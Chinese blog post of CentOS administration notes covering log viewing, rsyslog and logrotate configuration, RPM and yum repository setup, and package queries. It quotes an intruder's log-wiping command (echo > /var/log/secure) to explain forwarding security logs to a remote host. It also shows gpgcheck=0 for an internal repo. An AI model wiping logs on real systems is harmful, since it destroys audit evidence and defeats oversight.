  • tail -n 5 /etc/passwd 显示文件的后5行(如果不加5,则默认是10)示例如下:

  • [root@localhost log]# tail -n -5 messagesAug 10 02:26:17 localhost systemd: Started Session 36 of user root.Aug 10 02:26:17 localhost systemd-logind: New session 36 of user root.Aug 10 02:26:18 localhost dbus[1166]: [system] Activating service name='org.freedesktop.problems' (using servicehelper)Aug 10 02:26:18 localhost dbus[1166]: [system] Successfully activated service 'org.freedesktop.problems'Aug 10 02:30:01 localhost systemd: Started Session 37 of user root.
    
  • tail -f /var/log/messages

当文件过大时,cat命令不能满足我们的需要,使用more命令来查看文件内容

cat /etc/passwd | grep user1:在cat查看到文本中选取包含user1的内容

-w :单词匹配

-i:忽略大小写

awk :以列为过滤单位,grep :以行作为过滤单位

awk -F: '{print $6}':过滤出第6列

ifconfig eno16777736 | grep -Ew '(inet|ether)' |awk '{print $2}'

日志管理,排错神器

vim /etc/rsyslog.conf

*.info;mail.none;authpriv.none;cron.none /var/log/messages

*.info 日志名称 . 日志等级

eg:mail.info 上面这句话的意思时除了mail authpriv cron 外的所有日志都记录在/var/log/messages文件夹里

*.debug /var/log/debug

*.err /var/log/error.log

一般我们查看日志就是看日志文件的末尾10行左右即可,日志文件不会删除,所以这个文件一般有很多行,我们使用tail -n 15 /var/log/messages查看日志

还有一个更加强大的命令:tail -f /var/log/messages

这条命令不会关闭日志文件,目的是让我们重现需要查看的问题,我们可以在一个终端执行这条命令后,在另一个终端执行我们需要执行的命令,然后就可以在执行上面这条命令的终端看得到我们执行命令后产生的日志记录,更高级的是可以使用grep来过滤内容,如下面的命令:

tail -f /var/log/messages | grep -iE -A3 -B3 '(err|warn)'这句话的意思是过滤出包含err和warn的日志信息,同时看包含他们的前面3行和后面3行,方便我们排错,输入命令,另一个终端重现问题

从哪里找到日志看

vim /etc/rsyslog.conf 模仿文件内容来写,自定义一个日志文件,然后重启服务systemctl restart rsyslog.service 即可

*.info;mail.none;authpriv.none;cron.none   /var/log/messages*.err   /var/log/error.log*.debug  /var/log/debug.log#但是我们执行上面的命令后,使用ll看不到error.log的信息,但是ll debug.log可以看到文件的详细信息,也即我们无法查看到error.log,但是可以查看到debug.log,因为debug.log是实时更新的,只要有debug事件,他就会产生,同时之前的messages不会受到影响受到上面思路,我们可以想到如果我们需要特定复现某个错误或者操作的日志,我们可以指定一下日志的生成路径(实际是把messages里面的对应的日志复制过来,形成一个新的文件)(定义日志生成文件在/etc/rsyslog.conf),更加方便了我们对日志查看时进行排错*.err表示比err级别更高的日志如果只是指定err,我们可以定义*.=err,如果不要err,定义为*.!=定义完后需要重启服务:systemctl restart rsyslog.service

REMARK:有些时候我们不知道日志在什么地方,一般系统的日志都记录在/var/log/目录下,cd /var/log/,先打开一个终端窗口,输入命令:tail -f *,然后再打开另一个终端复现问题,然后回到上一个终端,观察tail -f * 命令后的日志信息,找到再哪个文件夹下,一般都是/var/log/messages(这就是个文本文件,可以用cat more vim 等程序打开),

服务没起来需要查看messages,起来后查看日志是查看服务自己的日志

安全服务

/etc/log/rsyslog.conf 文件中包含了各项服务日志的配置信息,其中关于安全的 authpriv.*,如果系统受到别人的入侵,可以在其定向的文件夹/var/log/secure文件看到详细的信息,但是如果入侵者删除了这个文件或者 echo > /var/log/secure 导致文件内容为空,对应方法为下面加一行

authpriv.* @@192.168.116.10上面这句话的作用为把安全日志 secure 文件发送到192.168.116.10主机,
以保留日志信息
更狠的操作是authpriv.* /dev/lpr0 这句话是表示接个打印机在上面,一旦secure相关修改,就把日志打印出来

日志轮询

vim /etc/logrotate.conf

[root@localhost ~]# vim /etc/logrotate.conf# see "man logrotate" for details# rotate log files 
weeklyweekly# keep 4 weeks worth of backlogsrotate 4# create new (empty) log files after rotating old 
onescreate# use date as a suffix of the rotated filedateext# uncomment this if you want your log files 
compressed#compress# RPM packages drop log rotation information into this directoryinclude 
/etc/logrotate.d# no packages own wtmp and btmp -- we'll rotate them here/var/log/wtmp {    monthly    
create 0664 root utmp        minsize 1M    rotate 1}/var/log/btmp {    missingok    monthly    create 0600 
root utmp    rotate 1}# system-specific logs may be also be configured here.
# see "man logrotate" for details# rotate log files weeklyweekly# keep 4 weeks worth of backlogsrotate 4# 
create new (empty) log files after rotating old onescreate# use date as a suffix of the rotated 
filedateext# uncomment this if you want your log files compressed#compress# RPM packages drop log rotation 
information into this directoryinclude /etc/logrotate.d# no packages own wtmp and btmp -- we'll rotate 
them here/var/log/wtmp {

日志轮询的时间可以修改每个月产生4个日志压缩包(这个我们也可以决定是否压缩),
同时对于不同的服务,可以指定不同服务轮询的时间也可以不同

[root@localhost ~]# ll /var/log/dmesg
-rw-r--r--. 1 root root 125615 Aug 9 21:53 /var/log/dmesg

[root@localhost ~]# tail /var/log/dmesg[    4.773782] alg: No test for __generic-gcm-aes-aesni (__driver-generic-gcm-aes-aesni)[    4.814112] XFS (sda1): Ending clean mount[    7.254630] floppy0: no floppy controllers found[    7.254664] work still pending[    7.397537] type=1305 audit(1628517199.522:4): audit_pid=1097 old=0 auid=4294967295 ses=4294967295 subj=system_u:system_r:auditd_t:s0 res=1[    7.409185] RPC: Registered named UNIX socket transport module.[    7.409187] RPC: Registered udp transport module.[    7.409188] RPC: Registered tcp transport module.[    7.409189] RPC: Registered tcp NFSv4.1 backchannel transport module.[    7.830217] NET: Registered protocol family 40

dmesg 这个日志只保留最近一次启动的日志,

软件包和rpm

RPM软件包最初由红帽开发,RPM软件包的文件名由4个元素组成,再加上.rpm后缀名:name-version-release.architecture
eg: coreutils-8.30-4.el8.x86_64.rpm

  • name 描述软件包名字(coreutils)
  • version 原始软件包的版本号(8.30)
  • release 基于该版本的软件包的发行版号,由软件打包商提供(4.el8)
  • arch 编译的软件包运行的处理器架构,noarch表示此软件包的内容不限定架构(arrch64表示是64位的arm架构)

源码包---编译---二进制RPM

设备挂载

卸载设备,可以是设备名也可以是挂载点umout /dev/sr0<==>umout /dev/cdrom

挂载设备:mount /dev/cdrom /media

查看所有挂载:

[root@localhost media]# mount /dev/cdrom /mediamount: /dev/sr0 is write-protected, mounting read-
only[root@localhost media]# df\Filesystem              1K-blocks    Used Available Use% Mounted ondevtmpfs                   
914580       0    914580   0% /devtmpfs                      931508       0    931508   0% /dev/shmtmpfs                      
931508   10440    921068   2% /runtmpfs                      931508       0    931508   0% 
/sys/fs/cgroup/dev/mapper/centos-root  49250820 5672144  43578676  12% //dev/sda1                 1038336  
231772    806564  23% /boottmpfs                      186304       8    186296   1% /run/user/42tmpfs                      
186304       0    186304   0% /run/user/0/dev/sr0                  4669162 4669162         0 100% /media

把光盘挂载在media 文件夹下

[root@localhost media]# lsCentOS_BuildTag  GPL       LiveOS    RPM-GPG-KEY-CentOS-7EFI              images    
Packages  RPM-GPG-KEY-CentOS-Testing-7EULA             isolinux  repodata  TRANS.TBL

rpm安装包

[root@localhost Packages]# ls | grep vsftp
vsftpd-3.0.2-27.el7.x86_64.rpm 这是一个与ftp服务有关的包,安装之后系统就可以提供ftp服务了

  • vsftpd 包名称
  • 3.0.2 version 主版本
  • 27.el7 Release 此版本 7表示在Centos7上编译的,8表示在Centos8上编译的
  • x86_64 Arch 架构 x86架构 64系统位数 i686表示32位,noarch 表示无限制64和32位

命令:rpm -ivh vsftpd-3.0.2-27.el7.x86_64.rpm

  • i 表示安装(install)
  • v 表示查看安装详细信息
  • h 表示显示进度条

这个例子很简单,但是并不是所有的装包都很顺利,有些包会有依赖,有些包的依赖会需要文件等等,于是一种新的技术产生了 yum ,解决了依赖性问题

yum 安装软件包

yum仓库配置

个人新建/etc/yum.repos.d/*.repos 包含以下内容:

[repo-name] #仓库名称,可以顺便写,但是一定要有name=A nice description #仓库描述,也可随便写
baseurl=http://yourserver.com/path/to/repo#软件包的位置
enabled=1 #是否开启仓库1开0关
gpgcheck=1 #是否对软件包进行安全校验,利用数字签名的算法,用私钥加密,公钥解密#红帽制作RPM包时,生成一对密钥(公
钥,私钥),使用私钥对软件包签名,然后公钥发布出来,用户安装软件包时,用获取到的公钥解密私钥的签名,如果解密成功,则
软件包时完整的,没有被篡改
#公钥是在光盘里
[root@localhost media]# cat RPM-GPG-KEY-CentOS-7#。。。。。。。。。。。。。。。。。
gpgkey=file:///filename#密钥所在位置,系统安装时就默认在///etc/rpm-gpg/RPM-GPG-KEY-CentOS-7eg:
[root@localhost yum.repos.d]# lltotal 48-rw-r--r--. 1 root root 1572 Dec  1  2016 CentOS7-Base-163.repo-
rw-r--r--. 1 root root 1664 Nov 23  2020 CentOS-Base.repo-rw-r--r--. 1 root root 1664 Apr 30 04:52 CentOS-
Base.repo.bak-rw-r--r--. 1 root root 1309 Nov 23  2020 CentOS-CR.repo-rw-r--r--. 1 root root  649 Nov 23  
2020 CentOS-Debuginfo.repo-rw-r--r--. 1 root root  314 Nov 23  2020 CentOS-fasttrack.repo-rw-r--r--. 1 
root root  630 Nov 23  2020 CentOS-Media.repo-rw-r--r--. 1 root root 1331 Nov 23  2020 CentOS-
Sources.repo-rw-r--r--. 1 root root 8515 Nov 23  2020 CentOS-Vault.repo-rw-r--r--. 1 root root  616 Nov 23  
2020 CentOS-x86_64-kernel.repo[root@localhost yum.repos.d]# cat CentOS7-Base-163.repo # CentOS-Base.repo## 
The mirror system uses the connecting IP address of the client and theJ # update status of each mirror to 
pick mirrors that are updated to and# geographically close to the client.  You should use this for CentOS 
updates# unless you are manually picking other mirrors.## If the mirrorlist= does not work for you, as a 
fall back you can try the # remarked out baseurl= line instead.##[base]name=CentOS-$releasever - Base - 
163.com#mirrorlist=http://mirrorlist.centos.org/?
release=$releasever&arch=$basearch&repo=osbaseurl=http://mirrors.163.com/centos/$releasever/os/$basearch/g
pgcheck=1gpgkey=http://mirrors.163.com/centos/RPM-GPG-KEY-CentOS-7#released 
updates[updates]name=CentOS-$releasever - Updates - 163.com#mirrorlist=http://mirrorlist.centos.org/?
release=$releasever&arch=$basearch&repo=updatesbaseurl=http://mirrors.163.com/centos/$releasever/updates/$
basearch/gpgcheck=1gpgkey=http://mirrors.163.com/centos/RPM-GPG-KEY-CentOS-7#additional packages that may 
be useful[extras]name=CentOS-$releasever - Extras - 163.com#mirrorlist=http://mirrorlist.centos.org/?
release=$releasever&arch=$basearch&repo=extrasbaseurl=http://mirrors.163.com/centos/$releasever/extras/$ba
search/gpgcheck=1gpgkey=http://mirrors.163.com/centos/RPM-GPG-KEY-CentOS-7#additional packages that extend 
functionality of existing packages[centosplus]name=CentOS-$releasever - Plus - 
163.combaseurl=http://mirrors.163.com/centos/$releasever/centosplus/$basearch/gpgcheck=1enabled=0gpgkey=ht
tp://mirrors.163.com/centos/RPM-GPG-KEY-CentOS-7


测试

  • yum clean all

  • yum list all

    • 列出系统所有已经安装的包,后面是@anaconda/7.1的表示是安装系统是就已经安装好的,@仓库名称 表示从这个仓库安装的
    • 列出后就会产生缓存,于是配置完成仓库后执行 yum clean all
  • 按照从上到下的顺序操作

如果配置本地源是光盘里的包,一定要把仓库包的baseurl=file:///media/.../下同时包含Packages(包含rpm软件包的文件夹) 和 repodata 的文件夹的所在文件夹,特别注意区分大小写,也可在同一个仓库下追加不同的软件源

yum 源一定要有数据库(repodata),当我们把rpm包复制到一个文件夹下,不想用rpm 命令安装,要使用yum命令,必须使用命令createrepo -v rpm包所在文件夹,系统会为这个文件夹创建数据库repodata,之后就可以使用yum包管理系统来安装软件了,也就是我们把多个rpm包放在一个文件夹下如/repo/下,然后把为他(repo)创建yum仓库,再把yum源指向他(repo)即可

如何为其他机子提供yum源

使用自带光盘提供基本rpm包

为公司指定某一台机子(192.168.116.6)为yum源,这台机子购买红帽的服务,然后把其他机子的yum仓库配置为这台机子的httpd服务所在文件夹下,新建pub文件夹,得到(/var/www/html/pub),然后用购买了红帽的服务的机子下载所有需要的补丁,放在这个文件夹下,配置其他机子的yum源baseurl地址为:http://192.168.116.6/pub (gpgcheck=0)即可

  • createrepo -v /repo/b

  • yum -y install httpd

  • mkdir /var/www/html/pub

  • mount /dev/cdrom /var/www/html/pub

  • systemctl enable httpd

  • systemctl start httpd

  • vim /etc/yum.repo.d/hostone.repo[192.168.116.6]baseurl=http://192.168.116.6/pubgpgcheck=0
    
  • 以上操作有些小问题,就是重启了之后光盘就掉了,需要将光盘写入/etc/fstab,模仿前面的内容来写:/dev/cdrom /var/www/html/pub iso9660 default 0 0

    这些操作只是如何配置一台拥有光盘的机子为其他机子提供yum源,也即将一个ISO通过网站的形式共享出去,没有涉及买红帽服务的打补丁的rpm包

    当然我们还可以在html文件夹下新建其他各种系统的光盘源,剩下的只需要修改相应的网站链接即可,在企业里最好的方式是把ISO拷贝到相应的文件夹下,直接挂ISO

使用yum安装时选择d(Download Only)提供rpm包

我们在使用yum安装软件时,yum install rpm包名 系统会询问我们(y/d/n),分别是yes、download、no,下载的rpm包在/var/cache/yum/x86_64/7Server/dvd/packages/****

*号是我们指定的rpm及其依赖包,dvd是我们之前指定的系统的yum源仓库,注意yum安装软件时系统会默认匹配架构,如果个人指定要安装32位版本就需要自己指定加上x686

卸载包

yum remove Package(包名)会询问是否删除依赖

rpm -e Packages(切记是包名,不是文件名,安装才是文件名)

组安装

yum groupinstall "组名*" *表示通配符

在终端键入yum groupinstall ,然后按两下 tab键,终端就会展示系统可供安装的所有的组安装包 yum grouplist all 没tab键那么详细

  • yum reinstall package 重新安装软件包

  • 移除软件包(组)

    • yum remove package
    • yum groupremove packagegroup
  • 升级软件包

    • yum list updates
    • yum update [package...] (如果不指定包名会更新系统所有的软件包)
  • 查询某个命令属于哪个包

    • eg : yum provides "*/ifconfig"
    • 在yum源配置正确的情况下才可以使用上述命令
    • rpm -qi 包名查看包的详细信息,同yum info 包名

yum 安装的软件包,可以使用 rpm 命令来查询和卸载,因为yum安装的也是rpm包,只是解决了rpm包的依赖性问题

rpm -qa 查询系统中所有已经安装了的软件包,yum list available 查询系统中没有安装的包

rpm -qa | grep 包名,查看是否已经安装了这个包

rpm -ql 包名 查询软件包的文件列表,也即软件包安装在哪个文件夹下

rpm -qc 包名 查询软件包的配置文件/etc/...

which 命令 查询命令的绝对路径在什么地方

rpm -qf +上面这条命令查到的绝对路径,就能知道这个是什么包带有的命令

rpm -q --scripts 包名 查看包是否带有一些后门脚本

rpm -qp --scripts 包名 对于没有装过的包进行查看

posted @ 2021-08-16 09:50  WEIWEI1095  阅读(323)  评论(0)    收藏  举报
*/
作品集 //